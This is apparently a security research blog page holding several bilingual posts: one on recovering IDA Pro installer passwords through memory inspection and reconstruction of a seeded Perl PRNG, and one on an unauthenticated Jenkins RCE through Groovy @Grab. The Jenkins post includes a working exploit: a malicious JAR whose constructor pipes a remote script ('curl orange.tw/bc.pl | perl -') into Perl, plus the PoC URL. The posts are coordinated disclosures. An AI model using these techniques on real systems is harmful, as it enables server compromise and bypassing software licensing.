本篇文章提出了一個開放性問題:在未知安裝密碼的情況下可不可以安裝 IDA Pro?結果我們在 Linux 以及 MacOS 版發現可以從記憶體中取得明文密碼。而在 Windows 版本中,我們黑箱找到了安裝密碼產生的方式,因此我們可以建立一份字典檔,用以縮短暴力列舉安裝密碼的時間,最終,我們約十分鐘可解出一組密碼,是一個可以接受的時間。

我們真的很喜歡這樣的過程:有根據的大膽猜測,竭盡全力用任何已知資訊去證明我們的想法,不論猜測是對是錯,都能從過程中獲得很多經驗。這也是為什麼我們這次願意花一個月時間去驗證一個成功機率不是很高的假設。附帶一提,這樣的態度,也被運用在我們紅隊演練上,想要試試嗎 :p

寫在最後,要感謝 Hex-Rays 很友善且快速的回應。即使這個問題不包含在 Security Bug Bounty Program 裡面,仍然慷慨的贈送 Linux 和 MAC 版 IDA 及升級原有 Windows 版至 IDA Pro。再次感謝。

時間軸

  • Jan 31, 2019 - 向 Hex-Rays 回報弱點
  • Feb 01, 2019 - Hex-Rays 說明之後會增加安裝密碼的強度,並協助通報 BitRock
  • Feb 11, 2019 - BitRock 釋出了 InstallBuilder 19.2.0

Operation Crack: Hacking IDA Pro Installer PRNG from an Unusual Way

20 June 2019 at 16:00

English Version 中文版本

Introduction

Today, we are going to talk about the installation password of Hex-Rays IDA Pro, which is the most famous decompiler. What is installation password? Generally, customers receive a custom installer and installation password after they purchase IDA Pro. The installation password is required during installation process. However, if someday we find a leaked IDA Pro installer, is it still possible to install without an installation password? This is an interesting topic.

After brainstorming with our team members, we verified the answer: Yes! With a Linux or MacOS version installer, we can easily find the password directly. With a Windows version installer, we only need 10 minutes to calculate the password. The following is the detailed process:

* Linux and MacOS version

The first challenge is Linux and MacOS version. The installer is built with an installer creation tool called InstallBuilder. We found the plaintext installation password directly in the program memory of the running IDA Pro installer. Mission complete!

This problem is fixed after we reported through Hex-Rays. BitRock released InstallBuilder 19.2.0 with the protection of installation password on 2019/02/11.

* Windows version

It gets harder on Windows version because the installer is built with Inno Setup, which store its password with 160-bit SHA-1 hash. Therefore, we cannot get the password simply with static or dynamic analyzing the installer, and brute force is apparently not an effective way. But the situation is different if we can grasp the methodology of password generation, which lets us enumerate the password more effectively!

Although we have realized we need to find how Hex-Rays generate password, it is still really difficult, as we do not know what language the random number generator is implemented with. There are at least 88 random number generators known. It is such a great variation.

We first tried to find the charset used by random number generator. We collected all leaked installation passwords, such as hacking team’s password, which is leaked by WikiLeaks.

  • FgVQyXZY2XFk (link)
  • 7ChFzSbF4aik (link)
  • ZFdLqEM2QMVe (link)
  • 6VYGSyLguBfi (link)

From the collected passwords we can summarize the charset: 23456789ABCDEFGHJKLMPQRSTUVWXYZabcdefghijkmpqrstuvwxyz

The missing of 1, I, l, 0, O, o, N, n seems to make sense because they are confusing characters. Next, we guess the possible charset ordering like these:

23456789ABCDEFGHJKLMPQRSTUVWXYZabcdefghijkmpqrstuvwxyz
ABCDEFGHJKLMPQRSTUVWXYZ23456789abcdefghijkmpqrstuvwxyz
23456789abcdefghijkmpqrstuvwxyzABCDEFGHJKLMPQRSTUVWXYZ
abcdefghijkmpqrstuvwxyz23456789ABCDEFGHJKLMPQRSTUVWXYZ
abcdefghijkmpqrstuvwxyzABCDEFGHJKLMPQRSTUVWXYZ23456789
ABCDEFGHJKLMPQRSTUVWXYZabcdefghijkmpqrstuvwxyz23456789

Lastly, we picked some common languages(c/php/python/perl)to implement a random number generator and enumerate all the combinations. Then we examined whether the collected passwords appears in the combinations. For example, here is a generator written in C language:

#include<stdio.h>
#include<stdlib.h>

char _a[] = "23456789ABCDEFGHJKLMPQRSTUVWXYZabcdefghijkmpqrstuvwxyz";
char _b[] = "ABCDEFGHJKLMPQRSTUVWXYZ23456789abcdefghijkmpqrstuvwxyz";
char _c[] = "23456789abcdefghijkmpqrstuvwxyzABCDEFGHJKLMPQRSTUVWXYZ";
char _d[] = "abcdefghijkmpqrstuvwxyz23456789ABCDEFGHJKLMPQRSTUVWXYZ";
char _e[] = "abcdefghijkmpqrstuvwxyzABCDEFGHJKLMPQRSTUVWXYZ23456789";
char _f[] = "ABCDEFGHJKLMPQRSTUVWXYZabcdefghijkmpqrstuvwxyz23456789";

int main()
{
        char bufa[21]={0};
        char bufb[21]={0};
        char bufc[21]={0};
        char bufd[21]={0};
        char bufe[21]={0};
        char buff[21]={0};

        unsigned int i=0;
        while(i<0x100000000)
        {
                srand(i);

                for(size_t n=0;n<20;n++)
                {
                        int key= rand() % 54;
                        bufa[n]=_a[key];
                        bufb[n]=_b[key];
                        bufc[n]=_c[key];
                        bufd[n]=_d[key];
                        bufe[n]=_e[key];
                        buff[n]=_f[key];

                }
                printf("%s\n",bufa);
                printf("%s\n",bufb);
                printf("%s\n",bufc);
                printf("%s\n",bufd);
                printf("%s\n",bufe);
                printf("%s\n",buff);
                i=i+1;
        }
}

After a month, we finally generated the IDA Pro installation passwords successfully with Perl, and the correct charset ordering is abcdefghijkmpqrstuvwxyzABCDEFGHJKLMPQRSTUVWXYZ23456789. For example, we can generate the hacking team’s leaked password FgVQyXZY2XFk with the following script:

#!/usr/bin/env perl
#
@_e = split //,"abcdefghijkmpqrstuvwxyzABCDEFGHJKLMPQRSTUVWXYZ23456789";

$i=3326487116;
srand($i);
$pw="";

for($i=0;$i<12;++$i)
{
        $key = rand 54;
        $pw = $pw . $_e[$key];
}
print "$i $pw\n";

With this, we can build a dictionary of installation password, which effectively increase the efficiency of brute force attack. Generally, we can compute the password of one installer in 10 minutes.

We have reported this issue to Hex-Rays, and they promised to harden the installation password immediately.

Summary

In this article, we discussed the possibility of installing IDA Pro without owning installation password. In the end, we found plaintext password in the program memory of Linux and MacOS version. On the other hand, we determined the password generation methodology of Windows version. Therefore, we can build a dictionary to accelerate brute force attack. Finally, we can get one password at a reasonable time.

We really enjoy this process: surmise wisely and prove it with our best. It can broaden our experience no matter the result is correct or not. This is why we took a whole month to verify such a difficult surmise. We also take this attitude in our Red Team Assessment. You would love to give it a try!

Lastly, we would like to thank for the friendly and rapid response from Hex-Rays. Although this issue is not included in Security Bug Bounty Program, they still generously awarded us IDA Pro Linux and MAC version, and upgraded the Windows version for us. We really appreciate it.

Timeline

  • Jan 31, 2019 - Report to Hex-Rays
  • Feb 01, 2019 - Hex-Rays promised to harden the installation password and reported to BitRock
  • Feb 11, 2019 - BitRock released InstallBuilder 19.2.0

Hacking Jenkins Part 2 - Abusing Meta Programming for Unauthenticated RCE!

18 February 2019 at 16:00

English Version 中文版本

嗨! 大家今天過得好嗎?

這篇文章是 Hacking Jenkins 系列的下集! 給那些還沒看過上篇文章的同學,可以訪問下面鏈結,補充一些基本知識及了解之前如何從 Jenkins 中的動態路由機制到串出各種不同的攻擊鏈!

如上篇文章所說,為了最大程度發揮漏洞的效果,想尋找一個代碼執行的漏洞可以與 ACL 繞過漏洞搭配,成為一個不用認證的遠端代碼執行! 不過在最初的嘗試中失敗了,由於動態路由機制的特性,Jenkins 在遇到一些危險操作時(如 Script Console)都會再次的檢查權限! 導致就算可以繞過最前面的 ACL 層依然無法做太多事情!

直到 Jenkins 在 2018-12-05 發佈的 Security Advisory 修復了前述我所回報的動態路由漏洞! 為了開始撰寫這份技術文章(Hacking Jenkins 系列文),我重新複習了一次當初進行代碼審查的筆記,當中對其中一個跳板(gadget)想到了一個不一樣的利用方式,因而有了這篇故事! 這也是近期我所寫過覺得比較有趣的漏洞之一,非常推薦可以仔細閱讀一下!


漏洞分析


要解釋這次的漏洞 CVE-2019-1003000 必須要從 Pipeline 開始講起! 大部分開發者會選擇 Jenkins 作為 CI/CD 伺服器的其中一個原因是因為 Jenkins 提供了一個很強大的 Pipeline 功能,使開發者可以方便的去撰寫一些 Build Script 以完成自動化的編譯、測試及發佈! 你可以想像 Pipeline 就是一個小小的微語言可以去對 Jenkins 進行操作(而實際上 Pipeline 是基於 Groovy 的一個 DSL)

為了檢查使用者所撰寫的 Pipeline Script 有沒有語法上的錯誤(Syntax Error),Jenkins 提供了一個介面給使用者檢查自己的 Pipeline! 這裡你可以想像一下,如果你是程式設計師,你要如何去完成這個功能呢? 你可以自己實現一個語法樹(AST, Abstract Syntax Tree)解析器去完成這件事,不過這太累了,最簡單的方式當然是套用現成的東西!

前面提到,Pipeline 是基於 Groovy 所實現的一個 DSL,所以 Pipeline 必定也遵守著 Groovy 的語法! 所以最簡單的方式是,只要 Groovy 可以成功解析(parse),那就代表這份 Pipeline 的語法一定是對的! Jenkins 實作檢查的程式碼約是下面這樣子:

public JSON doCheckScriptCompile(@QueryParameter String value) {
    try {
        CpsGroovyShell trusted = new CpsGroovyShellFactory(null).forTrusted().build();
        new CpsGroovyShellFactory(null).withParent(trusted).build().getClassLoader().parseClass(value);
    } catch (CompilationFailedException x) {
        return JSONArray.fromObject(CpsFlowDefinitionValidator.toCheckStatus(x).toArray());
    }
    return CpsFlowDefinitionValidator.CheckStatus.SUCCESS.asJSON();
    // Approval requirements are managed by regular stapler form validation (via doCheckScript)
}

這裡使用了 GroovyClassLoader.parseClass(…) 去完成 Groovy 語法的解析! 值得注意的是,由於這只是一個 AST 的解析,在沒有執行 execute() 的方法前,任何危險的操作是不會被執行的,例如嘗試去解析這段 Groovy 代碼會發現其實什麼事都沒發生 :(

this.class.classLoader.parseClass('''
print java.lang.Runtime.getRuntime().exec("id")
''');

從程式開發者的角度來看,Pipeline 可以操作 Jenkins 那一定很危險,因此要用嚴格的權限保護住! 但這只是一段簡單的語法錯誤檢查,而且呼叫到的地方很多,限制太嚴格的權限只會讓自己綁手綁腳的!

上面的觀點聽起來很合理,就只是一個 AST 的解析而且沒有任何 execute() 方法應該很安全,但恰巧這裡就成為了我們第一個入口點! 其實第一次看到這段代碼時,也想不出什麼利用方法就先跳過了,直到要開始撰寫技術文章重新溫習了一次,我想起了說不定 Meta-Programming 會有搞頭!


什麼是 Meta-Programming


首先我們來解釋一下什麼是 Meta-Programming!

Meta-Programming 是一種程式設計的思維! Meta-Programming 的精髓在於提供了一個抽象層次給開發者用另外一種思維去撰寫更高靈活度及更高開發效率的代碼。其實 Meta-Programming 並沒有一個很嚴謹的定義,例如使用程式語言編譯所留下的 Metadata 去動態的產生程式碼,或是把程式自身當成資料,透過編譯器(compiler)或是直譯器(interpreter)去撰寫代碼都可以被說是一種 Meta-Programming! 而其中的哲學其實非常廣泛甚至已經可以被當成程式語言的一個章節來獨立探討!

大部分的文章或是書籍在解釋 Meta-Programming 的時候通常會這樣解釋:

用程式碼(code)產生程式碼(code)

如果還是很難理解,你可以想像程式語言中的 eval(...) 其實就是一種廣義上的 Meta-Programming! 雖然不甚精確,但用這個比喻可以快速的理解 Meta-Programming! 其實就是用程式碼(eval 這個函數)去產生程式碼(eval 出來的函數)! 在程式開發上,Meta-Programming 也有著極其多的應用,例如:

  • C 語言中的 Macro
  • C++ 的 Template
  • Ruby (Ruby 本身就是一門將 Meta-Programming 發揮到極致的語言,甚至還有專門的書1, 書2)
  • Java 的 Annotation 註解
  • 各種 DSL(Domain Specific Language) 應用,例如 SinatraGradle

而當我們在談論 Meta-Programming 時,依照作用的範圍我們大致分成 (1)編譯時期(2)執行時期這兩種 Meta-Programming! 而我們今天的重點,就是在編譯時期的 Meta-Programming!

P.S. 我也不是一位 Programming Language 大師,如有不精確或者覺得教壞小朋友的地方再請多多包涵 <(_ _)>


如何利用


從前面的段落中我們發現 Jenkins 使用 parseClass(…) 去檢查語法錯誤,我們也想起了 Meta-Programming 可在編譯時期對程式碼做一些動態的操作! 設計一個編譯器(或解析器)是一件很麻煩的事情,裡面會有各種骯髒的實作或是奇怪的功能,所以一個很直覺的想法就是,是否可以透過編譯器一些副作用(Side Effect)去完成一些事情呢?

舉幾個淺顯易懂的例子,如 C 語言巨集擴展所造成的資源耗盡

#define a 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
#define b a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a
#define c b,b,b,b,b,b,b,b,b,b,b,b,b,b,b,b
#define d c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c
#define e d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d
#define f e,e,e,e,e,e,e,e,e,e,e,e,e,e,e,e
__int128 x[]={f,f,f,f,f,f,f,f};

編譯器的資源耗盡(用 18 bytes 產生 16G 的執行檔)

int main[-1u]={1};

或是用編譯器來幫你算費式數列

template<int n>
struct fib {
    static const int value = fib<n-1>::value + fib<n-2>::value;
};
template<> struct fib<0> { static const int value = 0; };
template<> struct fib<1> { static const int value = 1; };

int main() {
    int a = fib<10>::value; // 55
    int b = fib<20>::value; // 6765
    int c = fib<40>::value; // 102334155
}

從組合語言的結果可以看出這些值在編譯期間就被計算好填充進去,而不是執行期間!

$ g++ template.cpp -o template
$ objdump -M intel -d template
...
00000000000005fa <main>:
 5fa:   55                      push   rbp
 5fb:   48 89 e5                mov    rbp,rsp
 5fe:   c7 45 f4 37 00 00 00    mov    DWORD PTR [rbp-0xc],0x37
 605:   c7 45 f8 6d 1a 00 00    mov    DWORD PTR [rbp-0x8],0x1a6d
 60c:   c7 45 fc cb 7e 19 06    mov    DWORD PTR [rbp-0x4],0x6197ecb
 613:   b8 00 00 00 00          mov    eax,0x0
 618:   5d                      pop    rbp
 619:   c3                      ret
 61a:   66 0f 1f 44 00 00       nop    WORD PTR [rax+rax*1+0x0]
...

更多的例子你可以參考 StackOverflow 上的 Build a Compiler Bomb 這篇文章!


首次嘗試


回到我們的漏洞利用上,Pipeline 是基於 Groovy 上的一個 DSL 實作,而 Groovy 剛好就是一門對於 Meta-Programming 非常友善的語言! 翻閱著 Grovvy 官方的 Meta-Programming 手冊 開始尋找各種可以利用的方法! 在 2.1.9 章「測試協助」這個段落發現了 @groovy.transform.ASTTest 這個註解,仔細觀察它的敘述:

@ASTTest is a special AST transformation meant to help debugging other AST transformations or the Groovy compiler itself. It will let the developer “explore” the AST during compilation and perform assertions on the AST rather than on the result of compilation. This means that this AST transformations gives access to the AST before the bytecode is produced. @ASTTest can be placed on any annotable node and requires two parameters:

什麼! 可以在 AST 上執行一個 assertion? 這不就是我們要的嗎? 趕緊先在本地寫個 Proof-of-Concept 嘗試是否可行:

this.class.classLoader.parseClass('''
@groovy.transform.ASTTest(value={
    assert java.lang.Runtime.getRuntime().exec("touch pwned")
})
def x
''');
$ ls
poc.groovy

$ groovy poc.groovy
$ ls
poc.groovy  pwned

幹,可以欸! 但代誌並不是憨人想的那麼簡單! 嘗試在遠端 Jenkins 重現時,出現了:

unable to resolve class org.jenkinsci.plugins.workflow.libs.Library

真是黑人問號,森77,這到底是三小啦!!!

認真追了一下 root cause 才發現是 Pipeline Shared Groovy Libraries Plugin 這個插件在作怪! 為了方便使用者可重複使用在編寫 Pipeline 常用到的功能,Jenkins 提供了這個插件可在 Pipeline 中引入自定義的函式庫! Jenkins 會在所有 Pipeline 執行前引入這個函式庫,而在編譯時期的 classPath 中並沒有相對應的函式庫因而導致了這個錯誤!

想解決這個問題很簡單,到 Jenkins Plugin Manager 中將 Pipeline Shared Groovy Libraries Plugin 移除即可解決這個問題並執行任意代碼!

不過這絕對不是最佳解! 這個插件會隨著 Pipeline 被自動安裝,為了要成功利用這個漏洞還得先要求管理員把它移除實在太蠢了! 因此這條路只能先打住,繼續尋找下一個方法!


再次嘗試


繼續閱讀 Groovy Meta-Programming 手冊,我們發現了另一個有趣的註解 @Grab,關於 @Grab 手冊中並沒有詳細的描述,但使用 Google 我們發現了另一篇文章 - Dependency management with Grape!

原來 Grape(@Grab) 是一個 Groovy 內建的動態 JAR 相依性管理程式! 可讓開發者動態的引入不在 classPath 上的函式庫! Grape 的語法如下:

@Grab(group='org.springframework', module='spring-orm', version='3.2.5.RELEASE')
import org.springframework.jdbc.core.JdbcTemplate

配合 @grab 的註解,可讓 Groovy 在編譯時期自動引入不存在於 classPath 中的 JAR 檔! 但如果你的目的只是要在一個有執行 Pipeline 權限的帳號上繞過原有 Pipeline 的 Sandbox 的話,這其實就足夠了! 例如你可以參考 @adamyordan 所提供的 PoC,在已知使用者帳號與密碼及權限足夠的情況下,達到遠端代碼執行的效果!

但在沒有帳號密碼及 execute() 的方法下,這只是一個簡單的語法樹解析器,你甚至無法控制遠端伺服器上的檔案,所以該怎麼辦呢? 我們繼續研究下去,並發現了一個很有趣的註解叫做 @GrabResolver,用法如下:

@GrabResolver(name='restlet', root='http://maven.restlet.org/')
@Grab(group='org.restlet', module='org.restlet', version='1.1.6')
import org.restlet

看到這個,聰明的你應該會很想把 root 改成惡意網址對吧! 我們來試試會怎麼樣吧!

this.class.classLoader.parseClass('''
@GrabResolver(name='restlet', root='http://orange.tw/')
@Grab(group='org.restlet', module='org.restlet', version='1.1.6')
import org.restlet
''')
11.22.33.44 - - [18/Dec/2018:18:56:54 +0800] "HEAD /org/restlet/org.restlet/1.1.6/org.restlet-1.1.6-javadoc.jar HTTP/1.1" 404 185 "-" "Apache Ivy/2.4.0"

喔幹,真的會來存取欸! 到這裡我們已經確信了透過 Grape 可以讓 Jenkins 引入惡意的函式庫! 但下一個問題是,要如何執行代碼呢?


如何執行任意代碼?


在漏洞的利用中總是在研究如何從簡單的任意讀、任意寫到取得系統執行的權限! 從前面的例子中,我們已經可以透過 Grape 去寫入惡意的 JAR 檔到遠端伺服器,但要怎麼執行這個 JAR 檔呢? 這又是另一個問題!

跟進 Groovy 語言核心查看對於 Grape 的實作,我們知道網路層的抓取是透過 groovy.grape.GrapeIvy 這個類別來完成! 所以開始尋找實作中是否有任何可以執行代碼的機會! 其中,我們看到了一個有趣的方法 - processOtherServices(…):

void processOtherServices(ClassLoader loader, File f) {
    try {
        ZipFile zf = new ZipFile(f)
        ZipEntry serializedCategoryMethods = zf.getEntry("META-INF/services/org.codehaus.groovy.runtime.SerializedCategoryMethods")
        if (serializedCategoryMethods != null) {
            processSerializedCategoryMethods(zf.getInputStream(serializedCategoryMethods))
        }
        ZipEntry pluginRunners = zf.getEntry("META-INF/services/org.codehaus.groovy.plugins.Runners")
        if (pluginRunners != null) {
            processRunners(zf.getInputStream(pluginRunners), f.getName(), loader)
        }
    } catch(ZipException ignore) {
        // ignore files we can't process, e.g. non-jar/zip artifacts
        // TODO log a warning
    }
}

由於 JAR 檔案其實就是一個 ZIP 壓縮格式的子集,Grape 會檢查檔案中是否存在一些指定的入口點,其中一個 Runner 的入口點檢查引起了我們的興趣,持續跟進 processRunners(…) 的實作我們發現:

void processRunners(InputStream is, String name, ClassLoader loader) {
    is.text.readLines().each {
        GroovySystem.RUNNER_REGISTRY[name] = loader.loadClass(it.trim()).newInstance()
    }
}

這裡的 newInstance() 不就代表著可以呼叫到任意類別的 Constructor 嗎? 沒錯! 所以只需產生一個惡意的 JAR 檔,把要執行的類別全名放至 META-INF/services/org.codehaus.groovy.plugins.Runners 中即可呼叫指定類別的Constructor 去執行任意代碼! 完整的漏洞利用過程如下:

public class Orange {
    public Orange(){
        try {
            String payload = "curl orange.tw/bc.pl | perl -";
            String[] cmds = {"/bin/bash", "-c", payload};
            java.lang.Runtime.getRuntime().exec(cmds);
        } catch (Exception e) { }

    }
}
$ javac Orange.java
$ mkdir -p META-INF/services/
$ echo Orange > META-INF/services/org.codehaus.groovy.plugins.Runners
$ find .
./Orange.java
./Orange.class
./META-INF
./META-INF/services
./META-INF/services/org.codehaus.groovy.plugins.Runners

$ jar cvf poc-1.jar tw/
$ cp poc-1.jar ~/www/tw/orange/poc/1/
$ curl -I http://[your_host]/tw/orange/poc/1/poc-1.jar
HTTP/1.1 200 OK
Date: Sat, 02 Feb 2019 11:10:55 GMT
...

PoC:

http://jenkins.local/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile
?value=
@GrabConfig(disableChecksums=true)%0a
@GrabResolver(name='orange.tw', root='http://[your_host]/')%0a
@Grab(group='tw.orange', module='poc', version='1')%0a
import Orange;

影片:


後記


到此,我們已經可以完整的控制遠端伺服器! 透過 Meta-Programming 在語法樹解析時期去引入惡意的 JAR 檔,再透過 Java 的 Static Initializer 特性去執行任意指令! 雖然 Jenkins 有內建的 Groovy Sandbox(Script Security Plugin),但這個漏洞是在編譯階段而非執行階段,導致 Sandbox 毫無用武之處!

由於這是對於 Groovy 底層的一種攻擊方式,因此只要是所有可以碰觸到 Groovy 解析的地方皆有可能有漏洞產生! 而這也是這個漏洞好玩的地方,打破了一般開發者認為沒有執行就不會有問題的思維,對攻擊者來說也用了一個沒有電腦科學的理論知識背景不會知道的方法攻擊! 不然你根本不會想到 Meta-Programming! 除了我回報的 doCheckScriptCompile(...)toJson(...) 兩個進入點外,在漏洞被修復後,Mikhail Egorov 也很快的找到了另外一個進入點去觸發這個漏洞!

除此之外,這個漏洞更可以與我前一篇 Hacking Jenkins Part 1 所發現的漏洞串起來,去繞過 Overall/Read 的限制成為一個名符其實不用認證的遠端代碼執行漏洞!(如果你有好好的讀完這兩篇文章,應該對你不是難事XD) 至於有沒有更多的玩法? 就交給大家自由發揮串出自己的攻擊鏈囉!

感謝大家的閱讀,Hacking Jenkins 系列文就在這裡差不多先告一個段落囉! 未來將會再發表更多有趣的技術研究敬請期待!

Hacking Jenkins Part 2 - Abusing Meta Programming for Unauthenticated RCE!(EN)

18 February 2019 at 16:00

English Version 中文版本

Hello everyone!

This is the Hacking Jenkins series part two! For those people who still have not read the part one yet, you can check the following link to get some basis and see how vulnerable Jenkins’ dynamic routing is!

As the previous article said, in order to utilize the vulnerability, we want to find a code execution can be chained with the ACL bypass vulnerability to a well-deserved pre-auth remote code execution! But, I failed. Due to the feature of dynamic routing, Jenkins checks the permission again before most dangerous invocations(Such as the Script Console)! Although we could bypass the first ACL, we still can’t do much things :(

After Jenkins released the Security Advisory and fixed the dynamic routing vulnerability on 2018-12-05, I started to organize my notes in order to write this Hacking Jenkins series. While reviewing notes, I found another exploitation way on a gadget that I failed to exploit before! Therefore, the part two is the story for that! This is also one of my favorite exploits and is really worth reading :)


Vulnerability Analysis


First, we start from the Jenkins Pipeline to explain CVE-2019-1003000! Generally the reason why people choose Jenkins is that Jenkins provides a powerful Pipeline feature, which makes writing scripts for software building, testing and delivering easier! You can imagine Pipeline is just a powerful language to manipulate the Jenkins(In fact, Pipeline is a DSL built with Groovy)

In order to check whether the syntax of user-supplied scripts is correct or not, Jenkins provides an interface for developers! Just think about if you are the developer, how will you implement this syntax-error-checking function? You can just write an AST(Abstract Syntax Tree) parser by yourself, but it’s too tough. So the easiest way is to reuse existing function and library!

As we mentioned before, Pipeline is just a DSL built with Groovy, so Pipeline must follow the Groovy syntax! If the Groovy parser can deal with the Pipeline script without errors, the syntax must be correct! The code fragments here shows how Jenkins validates the Pipeline:

public JSON doCheckScriptCompile(@QueryParameter String value) {
    try {
        CpsGroovyShell trusted = new CpsGroovyShellFactory(null).forTrusted().build();
        new CpsGroovyShellFactory(null).withParent(trusted).build().getClassLoader().parseClass(value);
    } catch (CompilationFailedException x) {
        return JSONArray.fromObject(CpsFlowDefinitionValidator.toCheckStatus(x).toArray());
    }
    return CpsFlowDefinitionValidator.CheckStatus.SUCCESS.asJSON();
    // Approval requirements are managed by regular stapler form validation (via doCheckScript)
}

Here Jenkins validates the Pipeline with the method GroovyClassLoader.parseClass(…)! It should be noted that this is just an AST parsing. Without running execute() method, any dangerous invocation won’t be executed! If you try to parse the following Groovy script, you get nothing :(

this.class.classLoader.parseClass('''
print java.lang.Runtime.getRuntime().exec("id")
''');

From the view of developers, the Pipeline can control Jenkins, so it must be dangerous and requires a strict permission check before every Pipeline invocation! However, this is just a simple syntax validation so the permission check here is more less than usual! Without any execute() method, it’s just an AST parser and must be safe! This is what I thought when the first time I saw this validation. However, while I was writing the technique blog, Meta-Programming flashed into my mind!


What is Meta-Programming


Meta-Programming is a kind of programming concept! The idea of Meta-Programming is providing an abstract layer for programmers to consider the program in a different way, and makes the program more flexible and efficient! There is no clear definition of Meta-Programming. In general, both processing the program by itself and writing programs that operate on other programs(compiler, interpreter or preprocessor…) are Meta-Programming! The philosophy here is very profound and could even be a big subject on Programming Language!

If it is still hard to understand, you can just regard eval(...) as another Meta-Programming, which lets you operate the program on the fly. Although it’s a little bit inaccurate, it’s still a good metaphor for understanding! In software engineering, there are also lots of techniques related to Meta-Programming. For example:

  • C Macro
  • C++ Template
  • Java Annotation
  • Ruby (Ruby is a Meta-Programming friendly language, even there are books for that)
  • DSL(Domain Specific Languages, such as Sinatra and Gradle)

When we are talking about Meta-Programming, we classify it into (1)compile-time and (2)run-time Meta-Programming according to the scope. Today, we focus on the compile-time Meta-Programming!

P.S. It’s hard to explain Meta-Programming in non-native language. If you are interested, here are some materials! Wiki, Ref1, Ref2 P.S. I am not a programming language master, if there is anything incorrect or inaccurate, please forgive me <(_ _)>


How to Exploit?


From the previous section we know Jenkins validates Pipeline by parseClass(…) and learn that Meta-Programming can poke the parser during compile-time! Compiling(or parsing) is a hard work with lots of tough things and hidden features. So, the idea is, is there any side effect we can leverage?

There are many simple cases which have proved Meta-Programming can make the program vulnerable, such as the macro expansion in C language:

#define a 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
#define b a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a
#define c b,b,b,b,b,b,b,b,b,b,b,b,b,b,b,b
#define d c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c
#define e d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d
#define f e,e,e,e,e,e,e,e,e,e,e,e,e,e,e,e
__int128 x[]={f,f,f,f,f,f,f,f};

or the compiler resource bomb(make a 16GB ELF by just 18 bytes):

int main[-1u]={1};

or calculating the Fibonacci number by compiler

template<int n>
struct fib {
    static const int value = fib<n-1>::value + fib<n-2>::value;
};
template<> struct fib<0> { static const int value = 0; };
template<> struct fib<1> { static const int value = 1; };

int main() {
    int a = fib<10>::value; // 55
    int b = fib<20>::value; // 6765
    int c = fib<40>::value; // 102334155
}

From the assembly language of compiled binary, we can make sure the result is calculated at compile-time, not run-time!

$ g++ template.cpp -o template
$ objdump -M intel -d template
...
00000000000005fa <main>:
 5fa:   55                      push   rbp
 5fb:   48 89 e5                mov    rbp,rsp
 5fe:   c7 45 f4 37 00 00 00    mov    DWORD PTR [rbp-0xc],0x37
 605:   c7 45 f8 6d 1a 00 00    mov    DWORD PTR [rbp-0x8],0x1a6d
 60c:   c7 45 fc cb 7e 19 06    mov    DWORD PTR [rbp-0x4],0x6197ecb
 613:   b8 00 00 00 00          mov    eax,0x0
 618:   5d                      pop    rbp
 619:   c3                      ret
 61a:   66 0f 1f 44 00 00       nop    WORD PTR [rax+rax*1+0x0]
...

For more examples, you can refer to the article Build a Compiler Bomb on StackOverflow!


First Attempt


Back to our exploitation, Pipeline is just a DSL built with Groovy, and Groovy is also a Meta-Programming friendly language. We start reading the Groovy official Meta-Programming manual to find some exploitation ways. In the section 2.1.9, we found the @groovy.transform.ASTTest annotation. Here is its description:

@ASTTest is a special AST transformation meant to help debugging other AST transformations or the Groovy compiler itself. It will let the developer “explore” the AST during compilation and perform assertions on the AST rather than on the result of compilation. This means that this AST transformations gives access to the AST before the Bytecode is produced. @ASTTest can be placed on any annotable node and requires two parameters:

What! perform assertions on the AST? Isn’t that what we want? Let’s write a simple Proof-of-Concept in local environment first:

this.class.classLoader.parseClass('''
@groovy.transform.ASTTest(value={
    assert java.lang.Runtime.getRuntime().exec("touch pwned")
})
def x
''');
$ ls
poc.groovy

$ groovy poc.groovy
$ ls
poc.groovy  pwned

Cool, it works! However, while reproducing this on the remote Jenkins, it shows:

unable to resolve class org.jenkinsci.plugins.workflow.libs.Library

What the hell!!! What’s wrong with that?

With a little bit digging, we found the root cause. This is caused by the Pipeline Shared Groovy Libraries Plugin! In order to reuse functions in Pipeline, Jenkins provides the feature that can import customized library into Pipeline! Jenkins will load this library before every executed Pipeline. As a result, the problem become lack of corresponding library in classPath during compile-time. That’s why the error unsable to resolve class occurs!

How to fix this problem? It’s simple! Just go to Jenkins Plugin Manager and remove the Pipeline Shared Groovy Libraries Plugin! It can fix the problem and then we can execute arbitrary code without any error! But, this is not a good solution because this plugin is installed along with the Pipeline. It’s lame to ask administrator to remove the plugin for code execution! We stop digging this and try to find another way!


Second Attempt


We continued reading the Groovy Meta-Programming manual and found another interesting annotation - @Grab. There is no detailed information about @Grab on the manual. However, we found another article - Dependency management with Grape on search engine!

Oh, from the article we know Grape is a built-in JAR dependency management in Groovy! It can help programmers import the library which are not in classPath. The usage looks like:

@Grab(group='org.springframework', module='spring-orm', version='3.2.5.RELEASE')
import org.springframework.jdbc.core.JdbcTemplate

By using @Grab annotation, it can import the JAR file which is not in classPath during compile-time automatically! If you just want to bypass the Pipeline sandbox via a valid credential and the permission of Pipeline execution, that’s enough. You can follow the PoC proveded by @adamyordan to execute arbitrary commands!

However, without a valid credential and execute() method, this is just an AST parser and you even can’t control files on remote server. So, what can we do? By diving into more about @Grab, we found another interesting annotation - @GrabResolver:

@GrabResolver(name='restlet', root='http://maven.restlet.org/')
@Grab(group='org.restlet', module='org.restlet', version='1.1.6')
import org.restlet

If you are smart enough, you would like to change the root parameter to a malicious website! Let’s try this in local environment:

this.class.classLoader.parseClass('''
@GrabResolver(name='restlet', root='http://orange.tw/')
@Grab(group='org.restlet', module='org.restlet', version='1.1.6')
import org.restlet
''')
11.22.33.44 - - [18/Dec/2018:18:56:54 +0800] "HEAD /org/restlet/org.restlet/1.1.6/org.restlet-1.1.6-javadoc.jar HTTP/1.1" 404 185 "-" "Apache Ivy/2.4.0"

Wow, it works! Now, we believe we can make Jenkins import any malicious library by Grape! However, the next problem is, how to get code execution?


The Way to Code Execution


In the exploitation, the target is always escalating the read primitive or write primitive to code execution! From the previous section, we can write malicious JAR file into remote Jenkins server by Grape. However, the next problem is how to execute code?

